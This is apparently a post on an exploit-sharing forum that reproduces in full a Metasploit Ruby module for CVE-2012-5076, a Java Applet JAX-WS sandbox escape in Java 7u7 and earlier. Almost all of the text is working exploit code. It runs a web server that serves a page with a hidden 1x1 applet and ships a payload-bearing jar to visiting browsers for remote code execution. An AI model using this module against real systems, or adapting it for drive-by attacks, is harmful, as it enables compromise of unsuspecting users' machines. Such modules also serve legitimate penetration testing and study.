Exploit Java Applet - JAX-WS Remote Code Execution (Metasploit)

Exploiter · 21 Дек 2022

Код:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	def initialize( info = {} )
		super( update_info( info,
			'Name'          => 'Java Applet JAX-WS Remote Code Execution',
			'Description'   => %q{
					This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
				code outside of the sandbox as exploited in the wild in November of 2012. The
				vulnerability affects Java version 7u7 and earlier.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Unknown', # Vulnerability Discovery
					'juan vazquez' # metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2012-5076' ],
					[ 'OSVDB', '86363' ],
					[ 'BID', '56054' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
					[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ]
				],
			'Platform'      => [ 'java', 'win' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						}
					],
					[ 'Linux x86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2012'
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + '/', '')
				return
			end

			print_status("#{self.name} handling request")

			send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
			return
		end

		paths = [
			[ "Exploit.class" ],
			[ "MyPayload.class" ]
		]

		p = regenerate_payload(cli)

		jar  = p.encoded_jar

		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join("/") + "/"
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, '')
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
			data = fd.read(fd.stat.size)
			jar.add_file(path.join("/"), data)
			fd.close
		end

		print_status("Sending Applet.jar")
		send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )

		handler( cli )
	end

	def generate_html
		jar_name = rand_text_alpha(rand(6)+3) + ".jar"
		html  = "<html><head></head>"
		html += "<body>"
		html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
		html += "</applet></body></html>"
		return html
	end

end

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Exploit Java Applet - JAX-WS Remote Code Execution (Metasploit)

Exploiter

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